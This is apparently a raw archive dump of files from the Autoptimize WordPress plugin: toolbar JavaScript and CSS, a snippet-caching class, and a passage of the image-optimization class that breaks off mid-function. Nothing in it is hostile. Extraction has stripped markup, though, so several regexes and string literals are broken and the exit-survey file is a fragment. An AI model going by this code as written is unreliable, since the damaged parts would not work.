).css( 'background-color', jQuery( '#wp-admin-bar-autoptimize .ab-sub-wrapper' ).css( 'background-color') ); jQuery( '#wp-admin-bar-autoptimize-delete-cache .ab-item' ).css( 'background-color', jQuery( '#wpadminbar' ).css( 'background-color') ); jQuery( '#wp-admin-bar-autoptimize-default li' ).on('click', function(e) { var id = ( typeof e.target.id != 'undefined' && e.target.id ) ? e.target.id : jQuery( e.target ).parent( 'li' ).attr( 'id' ); var action = ''; if( id == 'wp-admin-bar-autoptimize-delete-cache' ){ action = 'autoptimize_delete_cache'; } else { return; } // Remove the class "hover" from drop-down Autoptimize menu to hide it. jQuery( '#wp-admin-bar-autoptimize' ).removeClass( 'hover' ); // Create and Show the Autoptimize Loading Modal var modal_loading = jQuery( '
' ).appendTo( 'body' ).show(); var success = function() { // Reset output values & class names of cache info jQuery( '#wp-admin-bar-autoptimize-cache-info .size' ).attr( 'class', 'size green' ).html( '0.00 B' ); jQuery( '#wp-admin-bar-autoptimize-cache-info .files' ).html( '0' ); jQuery( '#wp-admin-bar-autoptimize-cache-info .percentage .numbers' ).attr( 'class', 'numbers green' ).html( '0%' ); jQuery( '#wp-admin-bar-autoptimize-cache-info .autoptimize-radial-bar .fill' ).attr( 'class', 'fill bg-green' ); // Reset the class names of bullet icon jQuery( '#wp-admin-bar-autoptimize' ).attr( 'class', 'menupop bullet-green' ); // Reset the Radial Bar progress jQuery( '#wp-admin-bar-autoptimize-cache-info .autoptimize-radial-bar .mask.full, #wp-admin-bar-autoptimize-cache-info .autoptimize-radial-bar .fill' ).css({ '-webkit-transform' : 'rotate(0deg)', '-ms-transform' : 'rotate(0deg)', 'transform' : 'rotate(0deg)' }); }; var notice = function() { jQuery( '

' + autoptimize_ajax_object.error_msg + '


' ).insertAfter( '#wpbody .wrap h1:first-of-type' ).show(); }; jQuery.ajax({ type : 'GET', url : autoptimize_ajax_object.ajaxurl, data : {'action':action, 'nonce':autoptimize_ajax_object.nonce}, dataType : 'json', cache : false, timeout : 9000, success : function( cleared ) { // Remove the Autoptimize Loading Modal modal_loading.remove(); if ( cleared ) { success(); } else { notice(); } }, error: function( jqXHR, textStatus ) { // Remove the Autoptimize Loading Modal modal_loading.remove(); // WordPress Admin Notice notice(); } }); }); }); plugins/autoptimize-/classes/static/toolbar.css000064400000011265152335264760015776 0ustar00/* Loading Modal */ .autoptimize-loading { display: none; position: fixed; background-color: rgba(102, 102, 102, 0.8); background-image: url('loading.gif'); background-position: center; background-repeat: no-repeat; top: 0; left: 0; width: 100%; height: 100%; z-index: 9000000000; } /* Toolbar Font Colors */ #wp-admin-bar-autoptimize .white { color: #EEE; } #wp-admin-bar-autoptimize .green { color: #26BD26; } #wp-admin-bar-autoptimize .orange { color: #EC9103; } #wp-admin-bar-autoptimize .red { color: #EA1919; } #wp-admin-bar-autoptimize .bg-green { background: #26BD26; } #wp-admin-bar-autoptimize .bg-orange { background: #EC9103; } #wp-admin-bar-autoptimize .bg-red { background: #EA1919; } /* Toolbar Bullet Icons */ #wp-admin-bar-autoptimize.bullet-green .ab-icon::before, #wp-admin-bar-autoptimize.bullet-green:hover .ab-icon::before { content: "\f159"; color: #02CA02; font-size: 14px; } #wp-admin-bar-autoptimize.bullet-orange .ab-icon::before, #wp-admin-bar-autoptimize.bullet-orange:hover .ab-icon::before { content: "\f159"; color: #EC9103; font-size: 14px; } #wp-admin-bar-autoptimize.bullet-red .ab-icon::before, #wp-admin-bar-autoptimize.bullet-red:hover .ab-icon::before { content: "\f159"; color: #EA1919; font-size: 14px; -webkit-animation: blink 1s step-end infinite; animation: blink 1s step-end infinite; } @-webkit-keyframes blink { 50% { visibility: hidden; }} @keyframes blink { 50% { visibility: hidden; }} /* Some cosmetic Toolbar things */ #wp-admin-bar-autoptimize table, #wp-admin-bar-autoptimize th, #wp-admin-bar-autoptimize td { border: 0px !important; } #wp-admin-bar-autoptimize-default { padding-top: 0 !important; } #wp-admin-bar-autoptimize-delete-cache .ab-item { cursor: pointer !important; background: #464b50; } #wp-admin-bar-autoptimize-delete-cache .ab-item:hover { color: rgba(240,245,250,0.85) !important; background: #B57373 !important; } #wp-admin-bar-autoptimize-cache-info { padding-top: 8px !important; padding-bottom: 8px !important; } #wp-admin-bar-autoptimize-cache-info, #wp-admin-bar-autoptimize-cache-info .ab-item { height: auto !important; cursor: default !important; } #wp-admin-bar-autoptimize-cache-info td + td { padding-left: 3px; } #wp-admin-bar-autoptimize-cache-info .ab-item, #wp-admin-bar-autoptimize-cache-info .ab-item:hover { color: #b4b9be !important; } #wp-admin-bar-autoptimize-cache-info .ab-item > p { display: block; } #wp-admin-bar-autoptimize-cache-info .ab-item p, #wp-admin-bar-autoptimize-cache-info .ab-item td { font-size: 11px !important; line-height: 16px !important; } #wp-admin-bar-autoptimize-cache-info .ab-item table { display: inline-block !important; margin-left: 10px !important; } /* Radial Bar */ .autoptimize-radial-bar { display: inline-block !important; margin-top: 5px !important; } .autoptimize-radial-bar, .autoptimize-radial-bar .mask, .autoptimize-radial-bar .fill, .autoptimize-radial-bar .shadow { width : 36px !important; height : 36px !important; } .autoptimize-radial-bar { background-color : #d6dadc; } .autoptimize-radial-bar .fill { background-color : #02ca02; } .autoptimize-radial-bar .numbers { color : #02ca02; } .autoptimize-radial-bar .mask { clip : rect(0px, 36px, 36px, 18px); } .autoptimize-radial-bar .fill { clip : rect(0px, 18px, 36px, 0px); } .autoptimize-radial-bar .inset { width : 26px !important; height : 26px !important; margin-left : 5px !important; margin-top : 5px !important; background-color : #32373c; } .autoptimize-radial-bar .percentage { width : 26px !important; height : 16px !important; line-height : 11px !important; top : 7px !important; left : 0px !important; overflow : hidden; } .autoptimize-radial-bar .numbers { width : 26px !important; font-weight : 600 !important; font-size : 9px !important; margin-top : -5px !important; display : inline-block; vertical-align : top; text-align : center; } .autoptimize-radial-bar .inset { box-shadow : 3px 3px 5px rgba(0,0,0,0.3) !important; } .autoptimize-radial-bar .shadow { box-shadow : 3px 3px 5px rgba(0,0,0,0.3) inset !important; } .autoptimize-radial-bar .mask, .autoptimize-radial-bar .fill, .autoptimize-radial-bar .shadow, .autoptimize-radial-bar .inset, .autoptimize-radial-bar .percentage { position : absolute !important; } .autoptimize-radial-bar, .autoptimize-radial-bar .mask, .autoptimize-radial-bar .fill, .autoptimize-radial-bar .shadow, .autoptimize-radial-bar .inset { border-radius : 50% !important; } /* fixes for toolbar on frontend for other themes messing things up */ #wp-admin-bar-autoptimize tr{border:0 !important} #wp-admin-bar-autoptimize td{background-color:#32373c !important} plugins/autoptimize-/classes/static/toolbar.min.css000064400000007660152335264760016564 0ustar00.autoptimize-loading{display:none;position:fixed;background-color:rgba(102,102,102,.8);background-image:url(loading.gif);background-position:center;background-repeat:no-repeat;top:0;left:0;width:100%;height:100%;z-index:9000000000}#wp-admin-bar-autoptimize .white{color:#eee}#wp-admin-bar-autoptimize .green{color:#26bd26}#wp-admin-bar-autoptimize .orange{color:#ec9103}#wp-admin-bar-autoptimize .red{color:#ea1919}#wp-admin-bar-autoptimize .bg-green{background:#26bd26}#wp-admin-bar-autoptimize .bg-orange{background:#ec9103}#wp-admin-bar-autoptimize .bg-red{background:#ea1919}#wp-admin-bar-autoptimize.bullet-green .ab-icon:before,#wp-admin-bar-autoptimize.bullet-green:hover .ab-icon:before{content:"\f159";color:#02ca02;font-size:14px}#wp-admin-bar-autoptimize.bullet-orange .ab-icon:before,#wp-admin-bar-autoptimize.bullet-orange:hover .ab-icon:before{content:"\f159";color:#ec9103;font-size:14px}#wp-admin-bar-autoptimize.bullet-red .ab-icon:before,#wp-admin-bar-autoptimize.bullet-red:hover .ab-icon:before{content:"\f159";color:#ea1919;font-size:14px;-webkit-animation:blink 1s step-end infinite;animation:blink 1s step-end infinite}@-webkit-keyframes blink{50%{visibility:hidden}}@keyframes blink{50%{visibility:hidden}}#wp-admin-bar-autoptimize table,#wp-admin-bar-autoptimize th,#wp-admin-bar-autoptimize td{border:0 !important}#wp-admin-bar-autoptimize-default{padding-top:0 !important}#wp-admin-bar-autoptimize-delete-cache .ab-item{cursor:pointer !important;background:#464b50}#wp-admin-bar-autoptimize-delete-cache .ab-item:hover{color:rgba(240,245,250,.85) !important;background:#b57373 !important}#wp-admin-bar-autoptimize-cache-info{padding-top:8px !important;padding-bottom:8px !important}#wp-admin-bar-autoptimize-cache-info,#wp-admin-bar-autoptimize-cache-info .ab-item{height:auto !important;cursor:default !important}#wp-admin-bar-autoptimize-cache-info td+td{padding-left:3px}#wp-admin-bar-autoptimize-cache-info .ab-item,#wp-admin-bar-autoptimize-cache-info .ab-item:hover{color:#b4b9be !important}#wp-admin-bar-autoptimize-cache-info .ab-item>p{display:block}#wp-admin-bar-autoptimize-cache-info .ab-item p,#wp-admin-bar-autoptimize-cache-info .ab-item td{font-size:11px !important;line-height:16px !important}#wp-admin-bar-autoptimize-cache-info .ab-item table{display:inline-block !important;margin-left:10px !important}.autoptimize-radial-bar{display:inline-block !important;margin-top:5px !important}.autoptimize-radial-bar,.autoptimize-radial-bar .mask,.autoptimize-radial-bar .fill,.autoptimize-radial-bar .shadow{width:36px !important;height:36px !important}.autoptimize-radial-bar{background-color:#d6dadc}.autoptimize-radial-bar .fill{background-color:#02ca02}.autoptimize-radial-bar .numbers{color:#02ca02}.autoptimize-radial-bar .mask{clip:rect(0px,36px,36px,18px)}.autoptimize-radial-bar .fill{clip:rect(0px,18px,36px,0px)}.autoptimize-radial-bar .inset{width:26px !important;height:26px !important;margin-left:5px !important;margin-top:5px !important;background-color:#32373c}.autoptimize-radial-bar .percentage{width:26px !important;height:16px !important;line-height:11px !important;top:7px !important;left:0 !important;overflow:hidden}.autoptimize-radial-bar .numbers{width:26px !important;font-weight:600 !important;font-size:9px !important;margin-top:-5px !important;display:inline-block;vertical-align:top;text-align:center}.autoptimize-radial-bar .inset{box-shadow:3px 3px 5px rgba(0,0,0,.3) !important}.autoptimize-radial-bar .shadow{box-shadow:3px 3px 5px rgba(0,0,0,.3) inset !important}.autoptimize-radial-bar .mask,.autoptimize-radial-bar .fill,.autoptimize-radial-bar .shadow,.autoptimize-radial-bar .inset,.autoptimize-radial-bar .percentage{position:absolute !important}.autoptimize-radial-bar,.autoptimize-radial-bar .mask,.autoptimize-radial-bar .fill,.autoptimize-radial-bar .shadow,.autoptimize-radial-bar .inset{border-radius:50% !important}#wp-admin-bar-autoptimize tr{border:0 !important}#wp-admin-bar-autoptimize td{background-color:#32373c !important} plugins/autoptimize-/classes/autoptimizeExitSurvey.php000064400000016361152335264760017470 0ustar00 home_url(), 'dest' => 'aHR0cHM6Ly9taXNjLm9wdGltaXppbmdtYXR0ZXJzLmNvbS9hb19leGl0X3N1cnZleS9pbmRleC5waHA=', ); ?> add_hooks(); } public function add_hooks() { if ( apply_filters( 'autoptimize_js_do_minify', true ) ) { add_filter( 'autoptimize_js_individual_script', array( $this, 'js_snippetcacher' ), 10, 2 ); add_filter( 'autoptimize_js_after_minify', array( $this, 'js_cleanup' ), 10, 1 ); } if ( apply_filters( 'autoptimize_css_do_minify', true ) ) { add_filter( 'autoptimize_css_individual_style', array( $this, 'css_snippetcacher' ), 10, 2 ); add_filter( 'autoptimize_css_after_minify', array( $this, 'css_cleanup' ), 10, 1 ); } } public function js_snippetcacher( $jsin, $jsfilename ) { $md5hash = 'snippet_' . md5( $jsin ); $ccheck = new autoptimizeCache( $md5hash, 'js' ); if ( $ccheck->check() ) { $scriptsrc = $ccheck->retrieve(); } else { if ( false === ( strpos( $jsfilename, 'min.js' ) ) && ( str_replace( apply_filters( 'autoptimize_filter_js_consider_minified', false ), '', $jsfilename ) === $jsfilename ) ) { $tmp_jscode = trim( JSMin::minify( $jsin ) ); if ( ! empty( $tmp_jscode ) ) { $scriptsrc = $tmp_jscode; unset( $tmp_jscode ); } else { $scriptsrc = $jsin; } } else { // Removing comments, linebreaks and stuff! $scriptsrc = preg_replace( '#^\s*\/\/.*$#Um', '', $jsin ); $scriptsrc = preg_replace( '#^\s*\/\*[^!].*\*\/\s?#Us', '', $scriptsrc ); $scriptsrc = preg_replace( "#(^[\r\n]*|[\r\n]+)[\s\t]*[\r\n]+#", "\n", $scriptsrc ); } $last_char = substr( $scriptsrc, -1, 1 ); if ( ';' !== $last_char && '}' !== $last_char ) { $scriptsrc .= ';'; } if ( ! empty( $jsfilename ) && str_replace( apply_filters( 'autoptimize_filter_js_speedup_cache', false ), '', $jsfilename ) === $jsfilename ) { // Don't cache inline CSS or if filter says no! $ccheck->cache( $scriptsrc, 'text/javascript' ); } } unset( $ccheck ); return $scriptsrc; } public function css_snippetcacher( $cssin, $cssfilename ) { $md5hash = 'snippet_' . md5( $cssin ); $ccheck = new autoptimizeCache( $md5hash, 'css' ); if ( $ccheck->check() ) { $stylesrc = $ccheck->retrieve(); } else { if ( ( false === strpos( $cssfilename, 'min.css' ) ) && ( str_replace( apply_filters( 'autoptimize_filter_css_consider_minified', false ), '', $cssfilename ) === $cssfilename ) ) { $cssmin = new autoptimizeCSSmin(); $tmp_code = trim( $cssmin->run( $cssin ) ); if ( ! empty( $tmp_code ) ) { $stylesrc = $tmp_code; unset( $tmp_code ); } else { $stylesrc = $cssin; } } else { // .min.css -> no heavy-lifting, just some cleanup! $stylesrc = preg_replace( '#^\s*\/\*[^!].*\*\/\s?#Us', '', $cssin ); $stylesrc = preg_replace( "#(^[\r\n]*|[\r\n]+)[\s\t]*[\r\n]+#", "\n", $stylesrc ); $stylesrc = autoptimizeStyles::fixurls( $cssfilename, $stylesrc ); } if ( ! empty( $cssfilename ) && ( str_replace( apply_filters( 'autoptimize_filter_css_speedup_cache', false ), '', $cssfilename ) === $cssfilename ) ) { // Only caching CSS if it's not inline and is allowed by filter! $ccheck->cache( $stylesrc, 'text/css' ); } } unset( $ccheck ); return $stylesrc; } public function css_cleanup( $cssin ) { // Speedupper results in aggregated CSS not being minified, so the filestart-marker AO adds when aggregating needs to be removed. return trim( str_replace( array( '/*FILESTART*/', '/*FILESTART2*/' ), '', $cssin ) ); } public function js_cleanup( $jsin ) { return trim( $jsin ); } } plugins/autoptimize-/classes/autoptimizeImages.php000064400000234612152335264760016547 0ustar00fetch_options(); } $this->set_options( $options ); } public function set_options( array $options ) { $this->options = $options; return $this; } public static function fetch_options() { $value = autoptimizeOptionWrapper::get_option( 'autoptimize_imgopt_settings' ); if ( empty( $value ) ) { // Fallback to returning defaults when no stored option exists yet. $value = autoptimizeConfig::get_ao_imgopt_default_options(); } // get service availability and add it to the options-array. $value['availabilities'] = autoptimizeOptionWrapper::get_option( 'autoptimize_service_availablity' ); if ( empty( $value['availabilities'] ) || ! is_array( $value['availabilities'] ) ) { $value['availabilities'] = null; if ( true === autoptimizeImages::imgopt_active() ) { $value['availabilities'] = autoptimizeUtils::check_service_availability( true ); } if ( null === $value['availabilities'] ) { // We can't seem to check service availability, use mock result with imgopt status UP. $_mock_settings = array( 'extra_imgopt' => array( 'status' => 'up', 'hosts' => array( '1' => 'https://sp-ao.shortpixel.ai/', ), ), 'critcss' => array( 'status' => 'up', ), ); $value['availabilities'] = $_mock_settings; } } return $value; } public static function imgopt_active() { // function to quickly check if imgopt is active, used below but also in // autoptimizeMain.php to start ob_ even if no HTML, JS or CSS optimizing is done // and does not use/ request the availablity data (which could slow things down). static $imgopt_active = null; if ( null === $imgopt_active ) { $opts = autoptimizeOptionWrapper::get_option( 'autoptimize_imgopt_settings', '' ); if ( ! empty( $opts ) && is_array( $opts ) && array_key_exists( 'autoptimize_imgopt_checkbox_field_1', $opts ) && ! empty( $opts['autoptimize_imgopt_checkbox_field_1'] ) && '1' === $opts['autoptimize_imgopt_checkbox_field_1'] ) { $imgopt_active = true; } else { $imgopt_active = false; } } return $imgopt_active; } /** * Helper for getting a singleton instance. While being an * anti-pattern generally, it comes in handy for now from a * readability/maintainability perspective, until we get some * proper dependency injection going. * * @return self */ public static function instance() { if ( null === self::$instance ) { self::$instance = new self(); } return self::$instance; } public function run() { if ( is_admin() ) { if ( is_multisite() && is_network_admin() && autoptimizeOptionWrapper::is_ao_active_for_network() ) { add_action( 'network_admin_menu', array( $this, 'imgopt_admin_menu' ) ); } else { add_action( 'admin_menu', array( $this, 'imgopt_admin_menu' ) ); } add_filter( 'autoptimize_filter_settingsscreen_tabs', array( $this, 'add_imgopt_tab' ), 9 ); } else { add_action( 'wp', array( $this, 'run_on_frontend' ) ); } } public function run_on_frontend() { if ( ! $this->should_run() ) { if ( $this->should_lazyload() ) { add_filter( 'wp_lazy_loading_enabled', array( $this, 'should_disable_core_lazyload' ), 10, 3 ); add_filter( 'autoptimize_html_after_minify', array( $this, 'filter_lazyload_images' ), 10, 1 ); add_action( 'wp_footer', array( $this, 'add_lazyload_js_footer' ), 10, 0 ); } return; } $active = false; if ( apply_filters( 'autoptimize_filter_imgopt_do', true ) ) { add_filter( 'autoptimize_html_after_minify', array( $this, 'filter_optimize_images' ), 10, 1 ); $active = true; } if ( apply_filters( 'autoptimize_filter_imgopt_do_css', true ) ) { // fixme: also act on already minified CSS! add_filter( 'autoptimize_filter_base_replace_cdn', array( $this, 'filter_optimize_css_images' ), 10, 1 ); add_filter( 'autoptimize_html_after_minify', array( $this, 'filter_optimize_inline_css_images' ), 10, 1 ); $active = true; } if ( $active ) { add_filter( 'autoptimize_extra_filter_tobepreconn', array( $this, 'filter_preconnect_imgopt_url' ), 10, 1 ); } if ( $this->should_lazyload() ) { add_filter( 'wp_lazy_loading_enabled', array( $this, 'should_disable_core_lazyload' ), 10, 3 ); add_action( 'wp_footer', array( $this, 'add_lazyload_js_footer' ), 10, 0 ); } } /** * Disables core's native lazyload for images, not for iframes. * * @param bool $flag Incoming flag (mostly true). * @param string $tag Tag (img or iframe). * @param string $context Full context. * * @return bool */ public function should_disable_core_lazyload( $flag = true, $tag = '', $context = '' ) { if ( 'img' === $tag ) { return false; } return $flag; } /** * Basic checks before we can run. * * @return bool */ protected function should_run() { $opts = $this->options; $service_not_down = ( 'down' !== $opts['availabilities']['extra_imgopt']['status'] ); $not_launch_status = ( 'launch' !== $opts['availabilities']['extra_imgopt']['status'] ); $do_cdn = true; $_userstatus = $this->get_imgopt_provider_userstatus(); if ( isset( $_userstatus['Status'] ) && ( -2 == $_userstatus['Status'] || -3 == $_userstatus['Status'] ) ) { // don't even attempt to put images on CDN if heavily exceeded threshold or if site not reachable. $do_cdn = false; } if ( $this->imgopt_active() && $do_cdn && $service_not_down && ( $not_launch_status || $this->launch_ok() ) ) { return true; } return false; } public function get_imgopt_host() { static $imgopt_host = null; if ( null === $imgopt_host ) { $imgopt_host = 'https://sp-ao.shortpixel.ai/'; $avail_imgopt = $this->options['availabilities']['extra_imgopt']; if ( ! empty( $avail_imgopt ) && array_key_exists( 'hosts', $avail_imgopt ) && is_array( $avail_imgopt['hosts'] ) ) { $imgopt_host = array_rand( array_flip( $avail_imgopt['hosts'] ) ); } $imgopt_host = apply_filters( 'autoptimize_filter_imgopt_host', $imgopt_host ); } return $imgopt_host; } public static function get_imgopt_host_wrapper() { // needed for CI tests. $self = new self(); return $self->get_imgopt_host(); } public static function get_service_url_suffix() { $suffix = '/af/ZQXTBY0109483/' . AUTOPTIMIZE_SITE_DOMAIN; return $suffix; } public function get_img_quality_string() { static $quality = null; if ( null === $quality ) { $q_array = $this->get_img_quality_array(); $setting = $this->get_img_quality_setting(); $quality = apply_filters( 'autoptimize_filter_imgopt_quality', 'q_' . $q_array[ $setting ] ); } return $quality; } public function get_img_quality_array() { static $map = null; if ( null === $map ) { $map = array( '1' => 'lossy', '2' => 'glossy', '3' => 'lossless', ); $map = apply_filters( 'autoptimize_filter_imgopt_quality_array', $map ); } return $map; } public function get_img_quality_setting() { static $q = null; if ( null === $q ) { if ( is_array( $this->options ) && array_key_exists( 'autoptimize_imgopt_select_field_2', $this->options ) ) { $setting = $this->options['autoptimize_imgopt_select_field_2']; } if ( ! isset( $setting ) || empty( $setting ) || ( '1' !== $setting && '3' !== $setting ) ) { // default image opt. value is 2 ("glossy"). $q = '2'; } else { $q = $setting; } } return $q; } public function filter_preconnect_imgopt_url( array $in ) { $url_parts = parse_url( $this->get_imgopt_base_url() ); $in[] = $url_parts['scheme'] . '://' . $url_parts['host']; return $in; } /** * Makes sure given url contains the full scheme and hostname * in case they're not present already. * * @param string $in Image url to normalize. * * @return string */ private function normalize_img_url( $in ) { // Only parse the site url once. static $parsed_site_url = null; if ( null === $parsed_site_url ) { $parsed_site_url = parse_url( site_url() ); } // get CDN domain once. static $cdn_domain = null; if ( is_null( $cdn_domain ) ) { $cdn_url = $this->get_cdn_url(); if ( ! empty( $cdn_url ) ) { $cdn_domain = parse_url( $cdn_url, PHP_URL_HOST ); } else { $cdn_domain = ''; } } /** * This method gets called a lot, often for identical urls it seems. * `filter_optimize_css_images()` calls us, uses the resulting url and * gives it to `can_optimize_image()`, and if that returns trueish * then `build_imgopt_url()` is called (which, again, calls this method). * Until we dig deeper into whether this all must really happen that * way, having an internal cache here helps (to avoid doing repeated * identical string operations). */ static $cache = null; if ( null === $cache ) { $cache = array(); } // Do the work on cache miss only. if ( ! isset( $cache[ $in ] ) ) { // Default to (the trimmed version of) what was given to us. $result = trim( $in ); // Some silly plugins wrap background images in html-encoded quotes, so remove those from the img url. $result = $this->fix_silly_bgimg_quotes( $result ); if ( autoptimizeUtils::is_protocol_relative( $result ) ) { $result = $parsed_site_url['scheme'] . ':' . $result; } elseif ( 0 === strpos( $result, '/' ) ) { // Root-relative... $result = $parsed_site_url['scheme'] . '://' . $parsed_site_url['host'] . $result; } elseif ( ! empty( $cdn_domain ) && false === strpos( $this->get_imgopt_host(), $cdn_domain ) && strpos( $result, $cdn_domain ) !== 0 ) { // remove CDN except if it is the image optimization one. $result = str_replace( $cdn_domain, $parsed_site_url['host'], $result ); } // filter (default off) to remove QS from image URL's to avoid eating away optimization credits. if ( apply_filters( 'autoptimize_filter_imgopt_no_querystring', false ) && strpos( $result, '?' ) !== false ) { $result = strtok( $result, '?' ); } $result = apply_filters( 'autoptimize_filter_imgopt_normalized_url', $result ); // Store in cache. $cache[ $in ] = $result; } return $cache[ $in ]; } public function filter_optimize_css_images( $in ) { $in = $this->normalize_img_url( $in ); if ( $this->can_optimize_image( $in ) && false === strpos( $in, $this->get_imgopt_host() ) ) { return $this->build_imgopt_url( $in, '', '' ); } else { return $in; } } public function filter_optimize_inline_css_images( $html ) { preg_match_all( '#]*>([^<]*)#Um', $html, $inline_css_blocks, PREG_SET_ORDER ); foreach ( $inline_css_blocks as $inline_css_block ) { if ( false !== strpos( $inline_css_block[0], 'background' ) ) { $inline_css_block_new = $this->replace_background_img_css( $inline_css_block[0] ); if ( $inline_css_block_new !== $inline_css_block[0] ) { $html = str_replace( $inline_css_block[0], $inline_css_block_new, $html ); } } } return $html; } public static function replace_background_img_css( $css ) { // fixme; can/ should we cache these? preg_match_all( '#background[^;}]*url\((.*)\)#Ui', $css, $backgrounds, PREG_SET_ORDER ); if ( is_array( $backgrounds ) && ! empty( $backgrounds ) ) { foreach ( $backgrounds as $background ) { if ( autoptimizeImages::can_optimize_image_wrapper( $background[1] ) ) { $css = str_replace( $background[1], autoptimizeImages::build_imgopt_url_wrapper( $background[1] ), $css ); } } } return $css; } private function get_imgopt_base_url() { static $imgopt_base_url = null; if ( null === $imgopt_base_url ) { $imgopt_host = $this->get_imgopt_host(); $quality = $this->get_img_quality_string(); $ret_val = apply_filters( 'autoptimize_filter_imgopt_wait', 'ret_img' ); // values: ret_wait, ret_img, ret_json, ret_blank. if ( $this->should_ngimg() ) { $sp_to_string = 'to_auto'; } else { $sp_to_string = 'to_webp'; } $sp_to_string = apply_filters( 'autoptimize_filter_imgopt_format', $sp_to_string ); // values: empty (= jpeg), to_webp (smart; webp or fallback), to_avif (avif or fallback) or to_auto (smart avif, webp or fallback). $imgopt_base_url = $imgopt_host . 'client/' . $sp_to_string . ',' . $quality . ',' . $ret_val; $imgopt_base_url = apply_filters( 'autoptimize_filter_imgopt_base_url', $imgopt_base_url ); } return $imgopt_base_url; } public static function can_optimize_image_wrapper( $url, $tag = '', $testing = false ) { $self = new self(); return $self->can_optimize_image( $url, $tag = '', $testing = false ); } private function can_optimize_image( $url, $tag = '', $testing = false ) { static $cdn_url = null; static $nopti_images = null; if ( null === $cdn_url ) { $cdn_url = apply_filters( 'autoptimize_filter_base_cdnurl', autoptimizeOptionWrapper::get_option( 'autoptimize_cdn_url', '' ) ); } if ( null === $nopti_images || $testing ) { if ( is_array( $this->options ) && array_key_exists( 'autoptimize_imgopt_text_field_6', $this->options ) ) { $nopti_images = $this->options['autoptimize_imgopt_text_field_6']; } $nopti_images = apply_filters( 'autoptimize_filter_imgopt_noptimize', $nopti_images ); } $site_host = AUTOPTIMIZE_SITE_DOMAIN; $url = $this->normalize_img_url( $url ); $url_parsed = parse_url( $url ); if ( false === is_array( $url_parsed ) ) { return false; } elseif ( array_key_exists( 'host', $url_parsed ) && $url_parsed['host'] !== $site_host && empty( $cdn_url ) ) { return false; } elseif ( autoptimizeUtils::is_local_server() ) { return false; } elseif ( ! empty( $cdn_url ) && strpos( $url, $cdn_url ) === false && array_key_exists( 'host', $url_parsed ) && $url_parsed['host'] !== $site_host ) { return false; } elseif ( strpos( $url, '.php' ) !== false ) { return false; } elseif ( false === array_key_exists( 'path', $url_parsed ) || str_ireplace( array( '.png', '.gif', '.jpg', '.jpeg', '.webp', '.avif' ), '', $url_parsed['path'] ) === $url_parsed['path'] ) { // fixme: better check against end of string. return false; } elseif ( ! empty( $nopti_images ) ) { $nopti_images_array = array_filter( array_map( 'trim', explode( ',', $nopti_images ) ) ); foreach ( $nopti_images_array as $nopti_image ) { if ( strpos( $url, $nopti_image ) !== false || ( ( '' !== $tag && strpos( $tag, $nopti_image ) !== false ) ) ) { return false; } } } return true; } // wrapper for reuse in AOPro. public static function build_imgopt_url_wrapper( $orig_url, $width = 0, $height = 0 ) { $self = new self(); return $self->build_imgopt_url( $orig_url, $width = 0, $height = 0 ); } private function build_imgopt_url( $orig_url, $width = 0, $height = 0 ) { // sanitize width and height. if ( strpos( $width, '%' ) !== false ) { $width = 0; } if ( strpos( $height, '%' ) !== false ) { $height = 0; } $width = (int) $width; $height = (int) $height; $filtered_url = apply_filters( 'autoptimize_filter_imgopt_build_url', $orig_url, $width, $height ); // If filter modified the url, return that. if ( $filtered_url !== $orig_url ) { return $filtered_url; } $normalized_url = $this->normalize_img_url( $orig_url ); // if the URL is ascii we check if we have a real URL with filter_var (which only works on ascii url's) and if not a real URL we return the original one. if ( apply_filters( 'autoptimize_filter_imgopt_check_normalized_url', true ) && ! preg_match( '/[^\x20-\x7e]/', $normalized_url ) && false === filter_var( $normalized_url, FILTER_VALIDATE_URL ) ) { return $orig_url; } $imgopt_base_url = $this->get_imgopt_base_url(); $imgopt_size = ''; if ( $width && 0 !== $width ) { $imgopt_size = ',w_' . $width; } if ( $height && 0 !== $height ) { $imgopt_size .= ',h_' . $height; } $url = $imgopt_base_url . $imgopt_size . '/' . $normalized_url; $url = apply_filters( 'autoptimize_filter_imgopt_after_build_imgopt_url', $url ); return $url; } public function replace_data_thumbs( $matches ) { return $this->replace_img_callback( $matches, 150, 150 ); } public function replace_img_callback( $matches, $width = 0, $height = 0 ) { $_normalized_img_url = $this->normalize_img_url( $matches[1] ); if ( $this->can_optimize_image( $matches[1], $matches[0] ) ) { return str_replace( $matches[1], $this->build_imgopt_url( $_normalized_img_url, $width, $height ), $matches[0] ); } else { return $matches[0]; } } public function replace_icon_callback( $matches ) { if ( array_key_exists( '2', $matches ) ) { $sizes = explode( 'x', $matches[2] ); $width = $sizes[0]; $height = $sizes[1]; } else { $width = 180; $height = 180; } // make sure we're not trying to optimize a *.ico file. if ( strpos( $matches[1], '.ico' ) === false ) { return $this->replace_img_callback( $matches, $width, $height ); } else { return $matches[0]; } } public function filter_optimize_images( $in, $testing = false ) { /* * potential future functional improvements: * * filter for critical CSS. */ $to_replace = array(); $to_preload = ''; // hide (no)script tags to avoid replacing (and potentially breaking) images in script tags. if ( apply_filters( 'autoptimize_filter_imgopt_hide_script', true ) || $this->should_lazyload() ) { $in = autoptimizeBase::replace_contents_with_marker_if_exists( 'SCRIPT', '#is', $in ); } // get img preloads as set in post metabox, exploding ", " instead of "," because LCP preload // could be a shortpixel URL, which has comma's and results in way too many preloads. $metabox_preloads = array_filter( array_map( 'trim', explode( ', ', wp_strip_all_tags( autoptimizeConfig::get_post_meta_ao_settings( 'ao_post_preload' ) ) ) ) ); $metabox_preloads = apply_filters( 'autoptimize_filter_images_metabox_preloads', $metabox_preloads ); // extract img tags. if ( preg_match_all( '#]*src[^>]*>#Usmi', $in, $matches ) ) { foreach ( $matches[0] as $tag ) { $tag = apply_filters( 'autoptimize_filter_imgopt_tag_preopt', $tag ); $orig_tag = $tag; $imgopt_w = ''; $imgopt_h = ''; // first do (data-)srcsets. if ( preg_match_all( '#srcset=("|\')(.*)("|\')#Usmi', $tag, $allsrcsets, PREG_SET_ORDER ) ) { foreach ( $allsrcsets as $srcset ) { $srcset = $srcset[2]; $orig_srcset = $srcset; $srcsets = explode( ',', $srcset ); foreach ( $srcsets as $indiv_srcset ) { $indiv_srcset_parts = explode( ' ', trim( $indiv_srcset ) ); if ( isset( $indiv_srcset_parts[1] ) && rtrim( $indiv_srcset_parts[1], 'w' ) !== $indiv_srcset_parts[1] ) { $imgopt_w = rtrim( $indiv_srcset_parts[1], 'w' ); } if ( $this->can_optimize_image( $indiv_srcset_parts[0], $tag, $testing ) && false === apply_filters( 'autoptimize_filter_imgopt_do_spai', false ) ) { $imgopt_url = $this->build_imgopt_url( $indiv_srcset_parts[0], $imgopt_w, '' ); $srcset = str_replace( $indiv_srcset_parts[0], $imgopt_url, 